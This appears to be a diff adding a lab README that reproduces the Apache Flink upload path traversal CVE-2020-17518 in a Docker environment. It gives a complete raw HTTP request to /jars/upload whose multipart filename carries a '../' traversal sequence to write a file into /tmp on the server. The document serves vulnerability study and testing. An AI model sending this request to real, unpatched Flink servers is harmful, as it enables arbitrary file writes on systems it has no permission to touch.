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+# Apache Flink Upload Path Traversal (CVE-2020-17518)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities.
+
+A vulnerability in Apache Flink 1.5.1 and later versions allows attackers to write uploaded files to arbitrary locations on the local file system through a maliciously crafted HTTP header in the REST API request. This issue is fixed in Apache Flink 1.11.3.
+
+References:
+
+- <https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4>
+- <https://nvd.nist.gov/vuln/detail/CVE-2020-17518>
+
+## Environment Setup
+
+Execute the following command to start an Apache Flink jobmanager 1.11.2:
+
+```
+docker compose up -d
+```
+
+After the Apache Flink service is started, visit `http://your-ip:8081` to access the management interface.
+
+## Vulnerability Reproduction
+
+Send the following HTTP request to upload a file to `/tmp/success` on the target server:
+
+```
+POST /jars/upload HTTP/1.1
+Host: localhost:8081
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
+Content-Length: 187
+
+------WebKitFormBoundaryoZ8meKnrrso89R6Y
+Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
+
+success
+------WebKitFormBoundaryoZ8meKnrrso89R6Y--
+```
+
+After the file is uploaded, you can check the `/tmp/success` file on the target server:
+
+![](1.png)